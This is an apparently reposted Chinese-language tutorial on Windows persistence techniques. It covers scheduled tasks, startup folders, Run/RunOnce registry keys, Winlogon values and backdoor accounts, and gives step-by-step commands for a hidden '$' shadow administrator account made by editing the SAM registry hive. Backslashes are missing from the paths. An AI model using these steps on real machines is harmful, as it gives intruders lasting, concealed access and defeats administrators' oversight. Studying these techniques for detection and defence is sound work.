一、计划任务
Windows 计划任务是操作系统中的一项功能,允许用户安排在指定时间或事件发生时执行特定任务或脚本。通过使用计划任务,用户可以自动化重复性任务、定期运行维护脚本或执行其他计划的操作。有以下几种方式创建计划任务。
1、控制台执行
taskschd.msc
2、使用schtasks创建计划任务(早期版本使用at)
Windows 实现计划任务主要有 at 与 schtasks 两种方式,通过计划任务可以定时启动后门程序。at 适用于windows 2000、2003、xp,schtasks适用于windows >= 2003
at 15:30 /every:M,T,W,Th,F,S,Su C:windowstemptestxx.exe
schtasks /create /tn "MyTask" /tr "C:windowstemptestxx.exe" /sc daily /st 12:00---创建
schtasks /query /tn "MyTask"--查询
/sc 制定计划任务类型 全名为schedule,类型由循环执行(每日、每周、每月、每小时、每分钟. minute hourly daily weekly monthly ),一次执行(once)。如 /sc daily
主要要把计划和任务区分开(一个是执行计划,一个是具体的执行)
/tn 指定任务名称。如/tn mytest
/tr 任务运行程序路径。如 /tr “c:xxxtest.exe”
/st任务开始具体时间。如 st 12:00
/sd 任务开始日期
/ed 任务结束日期
/ru 指定运行任务的用户
/rp 指定用户密码. ?
schtasks /create /sc daily /tn test2_calc /st 14:12 /tr C:WindowsSystem32calc.exe
Schtasks /run /tn test2_calc
3、使用powershell创建计划任务
4、注册表下创建计划任务
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionScheduledTasks
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionScheduledTasksMyTask
-TaskName (REG_SZ) : MyTask
-ApplicationPath (REG_SZ) : C:PathToYourProgram.exe
-Parameters (REG_SZ) : /your_parameters_if_any
-Creator (REG_SZ) : Administrator
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionScheduledTasksMyTaskSchedule
-StartTime (REG_DWORD) : 设定为十六进制格式的开始时间
-EndTime (REG_DWORD) : 设定为十六进制格式的结束时间
-Interval (REG_DWORD) : 设定为十六进制格式的时间间隔
此方式较为隐蔽
5、编写程序调用windows api创建计划任务
可以参考文档
https://learn.microsoft.com/zh-cn/windows/win32/taskschd/time-trigger-example--c---
二、启动文件夹
放在启动文件夹内任意可执行文件都会被执行。
针对单一用户
win+ r输入:shell:startup
shell:startup
C:UsersxxxAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
针对整个系统(或者所有用户)
shell:common startup
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
需要管理员身份用户才可写入文件
同时也是需要任意一个用户登录之后才可执行
三、注册表启动项
主要有注册表Run 、RunOnce,还有RunServices、RunServicesOnce
主要区别是run、runonce可以启动普通程序,而runservices、runservicesOnce需要程序注册为服务类型。
Run和runonce区别是后者只会运行一次。
1、register直接创建
新建 数据类型为字符串RGE_SZ
注册表执行程序路径建议使用引号括住
2、powershell创建
$registryPath = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun" //系统所有用户使用
$registryPath = "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun" //系统所有用户使用
PS C:UsersTom> $registryPath = "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun"
PS C:UsersTom> $entryName = "test2_calc"
PS C:UsersTom> $entryValue = "C:WindowsSystem32calc.exe"
PS C:UsersTom> New-ItemProperty -Path $registryPath -Name $entryName -Value $entryValue -PropertyType String -Force
3、cmd下创建
/v 为注册表项名,这里就是启动项名
/t为注册表项值类型,REG_SZ 为字符串类型
/d 为数据值,此处为启动项执行程序路径位置
/f 暴力删除,无需确认
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v testxxx/t REG_SZ /d "C:WindowsSystem32calc.exe"
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce"
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v testxxx /f
4、使用windows api创建
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
如果不存在则需先创建,除此之外该启动运行,不能为简单的exe程序,必须是服务程序才行,否则无法运行成功。
Cmd命令
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v testxxx/t REG_SZ/d "C:WindowsSystem32calc.exe"
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v testxxx
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /vtestxxx/f
四、用户登录脚本
注册表项
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon
其中两个值Userinit,和shell都可以额外添加运行程序
注意shell键值可能会造成无法启动桌面,黑屏。
Userinit 或值可添加绝对路径,可以添加path路径目录下的程序文件。
Shell值只可添加添加path路径目录下的程序文件。
五、后门账号创建
普通账号和影子账号
普通账号可以直接使用
net user namexxxpasswordxxx /add
net localgroup administrators namexxx /add
"Remote users" 远程桌面用户组
影子账号就是利用windows 用户名后以$结尾特性,使用net user命令无法查看到。但可以通过设备管理器或系统设置页面可以查看到,因此还需进一步处理,具体操作就是复制其他账号信息。具体步骤如下。
net localgroup administrators test1$ /add//可选
net localgroup "Remote desktop users" test1$ /add //可选
第二步修改注册表
HKEY_LOCAL_MACHINESAMSAM 默认只有system用户才可查看修改,但管理员权限用户可重新分配权限,因此需先给当前用户分配足够权限进行查看修改,以下是给管理员组中所有用户分配完全控制权限。
更改权限后可查看对应注册表项
HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers
该项包含了一个Names子项(包含用户名和用户id对应的信息),以及以用户id命名的其他子项(包含用户具体信息)
将需要隐藏的账号test1$对应的id子项(以上为0x3ea),将其中F值修改为需要复制的用户的F值,如administrator用户。注意一般administrator被禁用,同时也未加入远程桌面组,会导致无法登录远程桌面等情况。
下面直接复制administrator账号F值。
然后保存需要隐藏账号的names下的子项,以及对应id项。直接导出。
然后删除隐藏账号test1$
net user test1$ /delete. 删除后系统无该用户任何信息(包括注册表中对应用户项信息)
重新将导出的两个注册表项导入注册表。
因复制的administrator账号,被禁用且未在远程桌面用户组里面。
因此有两种解决方法
1、将复制的账号administrator启用,并加入远程桌面用户组。
此方法似乎未失效
2、将隐藏账号,直接加入远程桌面用户组(缺点是,可能会在远程桌面用户组中被查看到)
同时该方式会创建隐藏账号的home文件夹。
3、重新复制启用并在远程用户组的用户。
注意在计算机管理中仍可看到对应的账号test1$,无法正常删除。可以通过先删除注册表对应项删除。
原文始发于微信公众号(企业安全实践):windows权限维持几种方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论